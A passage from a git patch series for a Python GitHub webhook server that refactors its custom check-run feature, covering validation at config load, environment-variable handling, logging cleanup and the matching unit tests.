setup_tasks.append(self.check_run_handler.set_conventional_title_queued()) - # Queue custom check runs (only if current action matches configured triggers) - current_action = self.hook_data.get("action", "") + # Queue custom check runs (same as built-in checks) for custom_check in self.github_webhook.custom_check_runs: - check_triggers = custom_check.get("triggers", ["opened", "synchronize", "reopened"]) - if current_action in check_triggers: - check_name = custom_check.get("name") - if not check_name: - self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") - continue - setup_tasks.append(self.check_run_handler.set_custom_check_queued(name=check_name)) + check_name = custom_check.get("name") + if not check_name: + self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") + continue + setup_tasks.append(self.check_run_handler.set_custom_check_queued(name=check_name)) self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('pr_handler', 'pr_management', 'processing')} Executing setup tasks" @@ -779,17 +776,14 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq if self.github_webhook.conventional_title: ci_tasks.append(self.runner_handler.run_conventional_title_check(pull_request=pull_request)) - # Launch custom check runs - action = self.hook_data.get("action", "") + # Launch custom check runs (same as built-in checks) for custom_check in self.github_webhook.custom_check_runs: - triggers = custom_check.get("triggers", ["opened", "synchronize", "reopened"]) - if action in triggers: - ci_tasks.append( - self.runner_handler.run_custom_check( - pull_request=pull_request, - check_config=custom_check, - ) + ci_tasks.append( + self.runner_handler.run_custom_check( + pull_request=pull_request, + check_config=custom_check, ) + ) self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('pr_handler', 'pr_management', 'processing')} " diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index d616090d..28196816 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -95,8 +95,8 @@ def mock_github_webhook(self) -> Mock: mock_webhook.last_commit = Mock() mock_webhook.last_commit.sha = "test-sha-123" mock_webhook.custom_check_runs = [ - {"name": "lint", "command": "uv tool run --from ruff ruff check", "required": True}, - {"name": "security-scan", "command": "uv tool run --from bandit bandit -r .", "required": False}, + {"name": "lint", "command": "uv tool run --from ruff ruff check"}, + {"name": "security-scan", "command": "uv tool run --from bandit bandit -r ."}, ] return mock_webhook @@ -183,7 +183,7 @@ async def test_set_custom_check_failure_without_output(self, check_run_handler: @pytest.mark.asyncio async def test_all_required_status_checks_includes_custom_checks(self, check_run_handler: CheckRunHandler) -> None: - """Test that all_required_status_checks includes required custom checks.""" + """Test that all_required_status_checks includes all custom checks (all are required).""" mock_pull_request = Mock() mock_pull_request.base.ref = "main" @@ -191,31 +191,9 @@ async def test_all_required_status_checks_includes_custom_checks(self, check_run with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) - # Should include required custom check but not non-required one + # Should include all custom checks (same as built-in checks - all are required) assert "lint" in result - assert "security-scan" not in result - - @pytest.mark.asyncio - async def test_all_required_status_checks_excludes_non_required_custom_checks( - self, check_run_handler: CheckRunHandler, mock_github_webhook: Mock - ) -> None: - """Test that non-required custom checks are excluded from required status checks.""" - # Override custom checks to have only non-required checks - mock_github_webhook.custom_check_runs = [ - {"name": "optional-check", "command": "uv tool run --from pytest pytest", "required": False}, - ] - - mock_pull_request = Mock() - mock_pull_request.base.ref = "main" - - # Reset cache to force recalculation - check_run_handler._all_required_status_checks = None - - with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): - result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) - - # Should not include non-required custom check - assert "optional-check" not in result + assert "security-scan" in result class TestRunnerHandlerCustomCheck: @@ -505,17 +483,10 @@ def mock_github_webhook(self) -> Mock: { "name": "lint", "command": "uv tool run --from ruff ruff check", - "required": True, }, { "name": "security", "command": "uv tool run --from bandit bandit -r .", - "required": True, - }, - { - "name": "optional-check", - "command": "uv tool run --from pytest pytest", - "required": False, }, ] return mock_webhook @@ -570,8 +541,8 @@ def mock_github_webhook(self) -> Mock: mock_webhook.logger = Mock() mock_webhook.log_prefix = "[TEST]" mock_webhook.custom_check_runs = [ - {"name": "lint", "command": "uv tool run --from ruff ruff check", "required": True}, - {"name": "security", "command": "uv tool run --from bandit bandit -r .", "required": True}, + {"name": "lint", "command": "uv tool run --from ruff ruff check"}, + {"name": "security", "command": "uv tool run --from bandit bandit -r ."}, ] return mock_webhook From b94c158e26e2553a80fb1ffccb06f59c065b73c0 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 2 Jan 2026 12:17:37 +0200 Subject: [PATCH 08/33] refactor: consolidate custom check validation to single location - Validate name, command, and executable existence at config load time - Remove duplicate validation from 5 locations - Remove configurable timeout (use default like built-in checks) - Check if command executable exists on server before accepting check --- webhook_server/libs/github_api.py | 61 +++++++++++++++++-- .../libs/handlers/check_run_handler.py | 7 +-- .../libs/handlers/pull_request_handler.py | 8 +-- .../libs/handlers/runner_handler.py | 26 +++----- .../tests/test_custom_check_runs.py | 4 +- 5 files changed, 74 insertions(+), 32 deletions(-) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index f29e59e3..c94e0ab8 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -683,9 +683,11 @@ def _repo_data_from_config(self, repository_config: dict[str, Any]) -> None: value="pre-commit", return_on_none=False, extra_dict=repository_config ) - self.custom_check_runs: list[dict[str, Any]] = self.config.get_value( + # Load and validate custom check runs + raw_custom_checks = self.config.get_value( value="custom-check-runs", return_on_none=[], extra_dict=repository_config ) + self.custom_check_runs: list[dict[str, Any]] = self._validate_custom_check_runs(raw_custom_checks) self.auto_verified_and_merged_users: list[str] = self.config.get_value( value="auto-verified-and-merged-users", return_on_none=[], extra_dict=repository_config @@ -821,11 +823,10 @@ def _current_pull_request_supported_retest(self) -> list[str]: current_pull_request_supported_retest.append(CONVENTIONAL_TITLE_STR) # Add custom check runs + # Note: custom checks are validated in _validate_custom_check_runs() + # so name is guaranteed to exist for custom_check in self.custom_check_runs: - check_name = custom_check.get("name") - if not check_name: - self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") - continue + check_name = custom_check["name"] current_pull_request_supported_retest.append(check_name) return current_pull_request_supported_retest @@ -844,6 +845,56 @@ async def cleanup(self) -> None: except Exception as ex: self.logger.warning(f"{self.log_prefix} Failed to cleanup temp directory: {ex}") + def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[dict[str, Any]]: + """Validate custom check runs configuration. + + Validates each custom check and returns only valid ones: + - Checks that 'name' and 'command' fields exist + - Verifies command executable exists on server using shutil.which() + - Logs warnings for invalid checks and skips them + + Args: + raw_checks: List of custom check configurations from config + + Returns: + List of validated custom check configurations + """ + validated_checks: list[dict[str, Any]] = [] + + for check in raw_checks: + # Validate name field + check_name = check.get("name") + if not check_name: + self.logger.warning("Custom check missing required 'name' field, skipping") + continue + + # Validate command field + command = check.get("command") + if not command: + self.logger.warning(f"Custom check '{check_name}' missing required 'command' field, skipping") + continue + + # Extract the first word as the executable (handle multiline/complex commands) + command_parts = command.strip().split() + if not command_parts: + self.logger.warning(f"Custom check '{check_name}' has empty command, skipping") + continue + + executable = command_parts[0] + + # Check if executable exists on server + if not shutil.which(executable): + self.logger.warning( + f"Custom check '{check_name}' command executable '{executable}' not found on server, skipping" + ) + continue + + # Valid check - add to list + validated_checks.append(check) + self.logger.debug(f"Validated custom check '{check_name}' with command '{command}'") + + return validated_checks + def __del__(self) -> None: """Remove the shared clone directory when the webhook object is destroyed. diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 0c23229c..b311a514 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -509,11 +509,10 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st all_required_status_checks.append(CONVENTIONAL_TITLE_STR) # Add all custom checks (same as built-in checks - all are required) + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() + # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: - check_name = custom_check.get("name") - if not check_name: - self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") - continue + check_name = custom_check["name"] all_required_status_checks.append(check_name) _all_required_status_checks = branch_required_status_checks + all_required_status_checks diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index a97d556f..fc978dde 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -741,11 +741,10 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq setup_tasks.append(self.check_run_handler.set_conventional_title_queued()) # Queue custom check runs (same as built-in checks) + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() + # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: - check_name = custom_check.get("name") - if not check_name: - self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") - continue + check_name = custom_check["name"] setup_tasks.append(self.check_run_handler.set_custom_check_queued(name=check_name)) self.logger.step( # type: ignore[attr-defined] @@ -777,6 +776,7 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ci_tasks.append(self.runner_handler.run_conventional_title_check(pull_request=pull_request)) # Launch custom check runs (same as built-in checks) + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() for custom_check in self.github_webhook.custom_check_runs: ci_tasks.append( self.runner_handler.run_custom_check( diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 20471c29..5f30ea6b 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -627,18 +627,14 @@ async def run_custom_check( pull_request: PullRequest, check_config: dict[str, Any], ) -> None: - """Run a custom check defined in repository configuration.""" - check_name = check_config.get("name") - if not check_name: - self.logger.error(f"{self.log_prefix} Custom check missing required 'name' field") - return - - command = check_config.get("command", "") - if not command: - self.logger.error(f"{self.log_prefix} Custom check '{check_name}' missing required 'command' field") - return + """Run a custom check defined in repository configuration. - timeout = check_config.get("timeout", 600) + Note: name and command validation happens in GithubWebhook._validate_custom_check_runs() + when custom checks are first loaded. Invalid checks are filtered out at that stage. + """ + # name and command are guaranteed to exist (validated at load time) + check_name = check_config["name"] + command = check_config["command"] self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'started')} " @@ -692,7 +688,6 @@ async def run_custom_check( command=command, log_prefix=self.log_prefix, mask_sensitive=self.github_webhook.mask_sensitive, - timeout=timeout, cwd=worktree_path, env=env_dict, ) @@ -856,11 +851,10 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ } # Add custom check runs to the retest map + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() + # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: - check_key = custom_check.get("name") - if not check_key: - self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") - continue + check_key = custom_check["name"] # Create a closure to capture the check_config def make_custom_runner(check_config: dict[str, Any]) -> Callable[..., Coroutine[Any, Any, None]]: diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 28196816..fb73b2ec 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -257,10 +257,8 @@ async def test_run_custom_check_success(self, runner_handler: RunnerHandler, moc runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once_with(name="lint") runner_handler.check_run_handler.set_custom_check_success.assert_called_once() - # Verify command was executed with default timeout + # Verify command was executed mock_run.assert_called_once() - call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["timeout"] == 600 # Default timeout @pytest.mark.asyncio async def test_run_custom_check_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: From 7f30680a4e12e1eed81295ec9919dce707f97617 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 2 Jan 2026 12:28:06 +0200 Subject: [PATCH 09/33] refactor: simplify closure and fix test fixtures - Use functools.partial instead of nested function in run_retests() - Add custom_check_runs to mock fixtures in test files --- webhook_server/libs/handlers/runner_handler.py | 11 ++--------- webhook_server/tests/test_push_handler.py | 1 + webhook_server/tests/test_runner_handler.py | 1 + 3 files changed, 4 insertions(+), 9 deletions(-) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 5f30ea6b..2d8f7516 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -5,6 +5,7 @@ import shutil from asyncio import Task from collections.abc import AsyncGenerator, Callable, Coroutine +from functools import partial from typing import TYPE_CHECKING, Any import shortuuid @@ -855,15 +856,7 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: check_key = custom_check["name"] - - # Create a closure to capture the check_config - def make_custom_runner(check_config: dict[str, Any]) -> Callable[..., Coroutine[Any, Any, None]]: - async def runner(pull_request: PullRequest) -> None: - await self.run_custom_check(pull_request=pull_request, check_config=check_config) - - return runner - - _retests_to_func_map[check_key] = make_custom_runner(custom_check) + _retests_to_func_map[check_key] = partial(self.run_custom_check, check_config=custom_check) tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] for _test in supported_retests: diff --git a/webhook_server/tests/test_push_handler.py b/webhook_server/tests/test_push_handler.py index 0fac3555..205c4f2b 100644 --- a/webhook_server/tests/test_push_handler.py +++ b/webhook_server/tests/test_push_handler.py @@ -43,6 +43,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.container_repository_username = "test-user" # Always a string mock_webhook.container_repository_password = "test-password" # Always a string # pragma: allowlist secret mock_webhook.token = "test-token" # Always a string + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture diff --git a/webhook_server/tests/test_runner_handler.py b/webhook_server/tests/test_runner_handler.py index 7aa4b66e..5e16a6e7 100644 --- a/webhook_server/tests/test_runner_handler.py +++ b/webhook_server/tests/test_runner_handler.py @@ -35,6 +35,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.dockerfile = "Dockerfile" mock_webhook.container_build_args = [] mock_webhook.container_command_args = [] + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture From 460095e1330ef97f779cfd320833e33865262e13 Mon Sep 17 00:00:00 2001 From: rnetser Date: Tue, 6 Jan 2026 18:06:01 +0200 Subject: [PATCH 10/33] fix: remove undefined format_task_fields and invalid logger.step calls Clean up remnants from old logging patterns not removed during structured logging migration. Replaces logger.step (undefined) and format_task_fields (undefined) with standard logger.info calls. Affected handlers: - pull_request_handler.py: setup tasks and CI/CD tasks logging - runner_handler.py: custom check execution logging --- .../libs/handlers/pull_request_handler.py | 9 ++------- webhook_server/libs/handlers/runner_handler.py | 15 +++------------ 2 files changed, 5 insertions(+), 19 deletions(-) diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index e7b07991..4b1585b0 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -626,9 +626,7 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq check_name = custom_check["name"] setup_tasks.append(self.check_run_handler.set_custom_check_queued(name=check_name)) - self.logger.step( # type: ignore[attr-defined] - f"{self.log_prefix} {format_task_fields('pr_handler', 'pr_management', 'processing')} Executing setup tasks" - ) + self.logger.info(f"{self.log_prefix} Executing setup tasks") setup_results = await asyncio.gather(*setup_tasks, return_exceptions=True) for result in setup_results: @@ -662,10 +660,7 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ) ) - self.logger.step( # type: ignore[attr-defined] - f"{self.log_prefix} {format_task_fields('pr_handler', 'pr_management', 'processing')} " - f"Executing CI/CD tasks", - ) + self.logger.info(f"{self.log_prefix} Executing CI/CD tasks") ci_results = await asyncio.gather(*ci_tasks, return_exceptions=True) for result in ci_results: diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 20cc7367..21fcf006 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -497,10 +497,7 @@ async def run_custom_check( check_name = check_config["name"] command = check_config["command"] - self.logger.step( # type: ignore[attr-defined] - f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'started')} " - f"Starting custom check: {check_config['name']}" - ) + self.logger.info(f"{self.log_prefix} Starting custom check: {check_config['name']}") await self.check_run_handler.set_custom_check_in_progress(name=check_name) @@ -556,16 +553,10 @@ async def run_custom_check( output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) if success: - self.logger.step( # type: ignore[attr-defined] - f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'completed')} " - f"Custom check {check_config['name']} completed successfully" - ) + self.logger.info(f"{self.log_prefix} Custom check {check_config['name']} completed successfully") return await self.check_run_handler.set_custom_check_success(name=check_name, output=output) else: - self.logger.step( # type: ignore[attr-defined] - f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'failed')} " - f"Custom check {check_config['name']} failed" - ) + self.logger.info(f"{self.log_prefix} Custom check {check_config['name']} failed") return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) async def is_branch_exists(self, branch: str) -> Branch: From 42150819e45319426ba9e3be05d809cf925e21ca Mon Sep 17 00:00:00 2001 From: rnetser Date: Tue, 6 Jan 2026 20:16:23 +0200 Subject: [PATCH 11/33] refactor(custom-checks): simplify env vars and check run status handling - Remove "variable name only" env var option, require explicit VAR=value format - Consolidate command validation in _validate_custom_check_runs - Remove redundant COMPLETED_STR from custom check success/failure methods - Add tests for validation edge cases and duration formatting - Achieve 90% test coverage --- webhook_server/config/schema.yaml | 18 +- webhook_server/libs/github_api.py | 9 +- .../libs/handlers/check_run_handler.py | 15 +- .../libs/handlers/runner_handler.py | 17 +- webhook_server/tests/test_context.py | 46 ++++ .../tests/test_custom_check_runs.py | 243 ++++++++++++++++-- webhook_server/utils/constants.py | 1 - 7 files changed, 284 insertions(+), 65 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 5326d001..4f78e305 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -326,21 +326,20 @@ properties: (tox, pre-commit, etc.) - if a command is not found, the check will fail. Environment Variables: - The 'env' field supports two formats for passing environment variables: - 1. Variable name only (e.g., 'PYTHONPATH') - value read from server's os.environ - 2. Variable with value (e.g., 'DEBUG=true') - explicit value provided + The 'env' field supports explicit variable assignment using 'VAR_NAME=value' format. + Each entry must include both the variable name and value separated by '='. Examples: - name: lint command: uv tool run --from ruff ruff check env: - - PYTHONPATH # Read from server environment - - DEBUG=true # Explicit value + - TOKEN=xyz + - DEBUG=true - name: security-scan command: uv tool run --from bandit bandit -r . env: - - CUSTOM_VAR # Read from server environment - - ENABLE_SCAN=1 # Explicit value + - CUSTOM_VAR=custom_value + - ENABLE_SCAN=1 - name: complex-check command: | python -c " @@ -360,9 +359,8 @@ properties: env: type: array description: | - Environment variables to pass to the command. Each entry can be: - - Variable name only (e.g., 'PYTHONPATH') - value read from server's os.environ - - Variable with value (e.g., 'DEBUG=true') - explicit value provided + Environment variables to pass to the command. + Each entry must be in 'VAR_NAME=value' format. items: type: string required: diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 987bfe17..bdf73d8e 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -809,17 +809,12 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ # Validate command field command = check.get("command") - if not command: + if not command or not command.strip(): self.logger.warning(f"Custom check '{check_name}' missing required 'command' field, skipping") continue # Extract the first word as the executable (handle multiline/complex commands) - command_parts = command.strip().split() - if not command_parts: - self.logger.warning(f"Custom check '{check_name}' has empty command, skipping") - continue - - executable = command_parts[0] + executable = command.strip().split()[0] # Check if executable exists on server if not shutil.which(executable): diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 92495ed2..f540cd09 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -13,7 +13,6 @@ BUILD_CONTAINER_STR, CAN_BE_MERGED_STR, CHERRY_PICKED_LABEL_PREFIX, - COMPLETED_STR, CONVENTIONAL_TITLE_STR, FAILURE_STR, IN_PROGRESS_STR, @@ -224,21 +223,11 @@ async def set_custom_check_in_progress(self, name: str) -> None: async def set_custom_check_success(self, name: str, output: dict[str, str] | None = None) -> None: """Set custom check run to success.""" - await self.set_check_run_status( - check_run=name, - status=COMPLETED_STR, - conclusion=SUCCESS_STR, - output=output, - ) + await self.set_check_run_status(check_run=name, conclusion=SUCCESS_STR, output=output) async def set_custom_check_failure(self, name: str, output: dict[str, str] | None = None) -> None: """Set custom check run to failure.""" - await self.set_check_run_status( - check_run=name, - status=COMPLETED_STR, - conclusion=FAILURE_STR, - output=output, - ) + await self.set_check_run_status(check_run=name, conclusion=FAILURE_STR, output=output) async def set_check_run_status( self, diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 21fcf006..3a27ce15 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,6 +1,5 @@ import asyncio import contextlib -import os import re import shutil from asyncio import Task @@ -517,28 +516,20 @@ async def run_custom_check( output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) - # Build env dict from env entries (supports both formats) - # Format 1: VAR_NAME - value read from server environment - # Format 2: VAR_NAME=value - explicit value provided + # Build env dict from env entries (VAR_NAME=value format only) env_dict: dict[str, str] | None = None env_entries = check_config.get("env", []) if env_entries: env_dict = {} for env_entry in env_entries: if "=" in env_entry: - # Format 2: VAR_NAME=value var_name, var_value = env_entry.split("=", 1) env_dict[var_name] = var_value - self.logger.debug( - f"{self.log_prefix} Using explicit value for environment variable '{var_name}'" - ) - elif env_entry in os.environ: - # Format 1: VAR_NAME (read from server environment) - env_dict[env_entry] = os.environ[env_entry] - self.logger.debug(f"{self.log_prefix} Using server environment value for '{env_entry}'") + self.logger.debug(f"{self.log_prefix} Using environment variable '{var_name}'") else: self.logger.warning( - f"{self.log_prefix} Environment variable '{env_entry}' not found in server environment" + f"{self.log_prefix} Invalid environment variable format '{env_entry}': " + "expected 'VAR_NAME=value' format" ) # Execute command in worktree directory with env vars diff --git a/webhook_server/tests/test_context.py b/webhook_server/tests/test_context.py index 0e4b1ea9..155af5e7 100644 --- a/webhook_server/tests/test_context.py +++ b/webhook_server/tests/test_context.py @@ -12,6 +12,7 @@ from webhook_server.utils.context import ( WebhookContext, + _format_duration, clear_context, create_context, get_context, @@ -1066,3 +1067,48 @@ def test_to_dict_summary_is_none_without_completed_at(self): # Verify summary field is None assert "summary" in result assert result["summary"] is None + + def test_build_summary_step_without_duration(self): + """Test summary with step that has no duration_ms (covers line 320).""" + ctx = WebhookContext( + hook_id="test-hook", + event_type="pull_request", + repository="test/repo", + repository_full_name="test/repo", + ) + ctx.workflow_steps["test_step"] = {"status": "completed", "duration_ms": None} + + # Set completed_at to enable summary generation + start_time = datetime(2024, 1, 15, 10, 0, 0, tzinfo=UTC) + completed_time = datetime(2024, 1, 15, 10, 0, 1, tzinfo=UTC) + ctx.started_at = start_time + ctx.completed_at = completed_time + + summary = ctx._build_summary() + assert "test_step:completed" in summary + # Verify duration is NOT included for step (no parentheses with duration) + assert "test_step:completed(" not in summary + + +class TestFormatDuration: + """Tests for _format_duration() helper function.""" + + def test_format_duration_minutes_with_seconds(self): + """Test minutes with remaining seconds (covers lines 67-71).""" + assert _format_duration(75000) == "1m15s" # 1 minute 15 seconds + assert _format_duration(135000) == "2m15s" # 2 minutes 15 seconds + + def test_format_duration_minutes_exact(self): + """Test exact minutes (covers line 72).""" + assert _format_duration(120000) == "2m" # 2 minutes exactly + assert _format_duration(180000) == "3m" # 3 minutes exactly + + def test_format_duration_hours_with_minutes(self): + """Test hours with remaining minutes (covers lines 74-77).""" + assert _format_duration(3900000) == "1h5m" # 1 hour 5 minutes + assert _format_duration(7500000) == "2h5m" # 2 hours 5 minutes + + def test_format_duration_hours_exact(self): + """Test exact hours (covers line 78).""" + assert _format_duration(7200000) == "2h" # 2 hours exactly + assert _format_duration(10800000) == "3h" # 3 hours exactly diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index fb73b2ec..91c7ce0e 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -20,10 +20,10 @@ import pytest +from webhook_server.libs.github_api import GithubWebhook from webhook_server.libs.handlers.check_run_handler import CheckRunHandler from webhook_server.libs.handlers.runner_handler import RunnerHandler from webhook_server.utils.constants import ( - COMPLETED_STR, FAILURE_STR, IN_PROGRESS_STR, QUEUED_STR, @@ -66,9 +66,9 @@ def test_custom_check_with_env_vars(self) -> None: config = { "name": "my-check", "command": "python -m pytest", - "env": ["PYTHONPATH", "DEBUG"], + "env": ["PYTHONPATH=/custom/path", "DEBUG=true"], } - assert config["env"] == ["PYTHONPATH", "DEBUG"] + assert config["env"] == ["PYTHONPATH=/custom/path", "DEBUG=true"] def test_custom_check_with_multiline_command(self) -> None: """Test that custom check with multiline command is accepted.""" @@ -133,7 +133,6 @@ async def test_set_custom_check_success_with_output(self, check_run_handler: Che await check_run_handler.set_custom_check_success(name=check_name, output=output) mock_set_status.assert_called_once_with( check_run=check_name, - status=COMPLETED_STR, conclusion=SUCCESS_STR, output=output, ) @@ -147,7 +146,6 @@ async def test_set_custom_check_success_without_output(self, check_run_handler: await check_run_handler.set_custom_check_success(name=check_name, output=None) mock_set_status.assert_called_once_with( check_run=check_name, - status=COMPLETED_STR, conclusion=SUCCESS_STR, output=None, ) @@ -162,7 +160,6 @@ async def test_set_custom_check_failure_with_output(self, check_run_handler: Che await check_run_handler.set_custom_check_failure(name=check_name, output=output) mock_set_status.assert_called_once_with( check_run=check_name, - status=COMPLETED_STR, conclusion=FAILURE_STR, output=output, ) @@ -176,7 +173,6 @@ async def test_set_custom_check_failure_without_output(self, check_run_handler: await check_run_handler.set_custom_check_failure(name=check_name, output=None) mock_set_status.assert_called_once_with( check_run=check_name, - status=COMPLETED_STR, conclusion=FAILURE_STR, output=None, ) @@ -338,11 +334,11 @@ async def test_run_custom_check_command_execution_in_worktree( @pytest.mark.asyncio async def test_run_custom_check_with_env_vars(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: - """Test that custom check passes environment variables from server environment.""" + """Test that custom check passes environment variables with explicit values.""" check_config = { "name": "env-test", "command": "env | grep TEST_VAR", - "env": ["TEST_VAR", "MISSING_VAR"], + "env": ["TEST_VAR=test_value", "ANOTHER_VAR=another_value"], } # Create async context manager mock @@ -351,7 +347,6 @@ async def test_run_custom_check_with_env_vars(self, runner_handler: RunnerHandle mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( - patch.dict("os.environ", {"TEST_VAR": "test_value"}, clear=False), patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), patch( "webhook_server.libs.handlers.runner_handler.run_command", @@ -360,11 +355,10 @@ async def test_run_custom_check_with_env_vars(self, runner_handler: RunnerHandle ): await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - # Verify command was called with env dict containing only existing env vars + # Verify command was called with env dict containing explicit values mock_run.assert_called_once() call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["env"] == {"TEST_VAR": "test_value"} - # MISSING_VAR should not be in env dict since it's not in os.environ + assert call_kwargs["env"] == {"TEST_VAR": "test_value", "ANOTHER_VAR": "another_value"} @pytest.mark.asyncio async def test_run_custom_check_without_env_vars( @@ -426,14 +420,14 @@ async def test_run_custom_check_with_explicit_env_values( assert call_kwargs["env"] == {"DEBUG": "true", "VERBOSE": "1"} @pytest.mark.asyncio - async def test_run_custom_check_with_mixed_env_formats( + async def test_run_custom_check_with_invalid_env_format( self, runner_handler: RunnerHandler, mock_pull_request: Mock ) -> None: - """Test that custom check with mixed env formats (both VAR and VAR=value) works correctly.""" + """Test that custom check with invalid env format (VAR without =value) logs warning and skips.""" check_config = { - "name": "mixed-env-test", + "name": "invalid-env-test", "command": "env", - "env": ["DEBUG=true", "SERVER_VAR", "VERBOSE=1"], + "env": ["DEBUG=true", "INVALID_VAR", "VERBOSE=1"], } # Create async context manager mock @@ -442,23 +436,23 @@ async def test_run_custom_check_with_mixed_env_formats( mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( - patch.dict("os.environ", {"SERVER_VAR": "from_server"}, clear=False), patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), patch( "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "DEBUG=true\nSERVER_VAR=from_server\nVERBOSE=1", "")), + new=AsyncMock(return_value=(True, "DEBUG=true\nVERBOSE=1", "")), ) as mock_run, ): await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - # Verify command was called with env dict containing mixed sources + # Verify command was called with env dict containing only valid format entries mock_run.assert_called_once() call_kwargs = mock_run.call_args.kwargs assert call_kwargs["env"] == { "DEBUG": "true", - "SERVER_VAR": "from_server", "VERBOSE": "1", } + # INVALID_VAR should be skipped and a warning logged + runner_handler.logger.warning.assert_called() class TestCustomCheckRunsIntegration: @@ -612,6 +606,213 @@ async def test_custom_check_name_without_prefix(self) 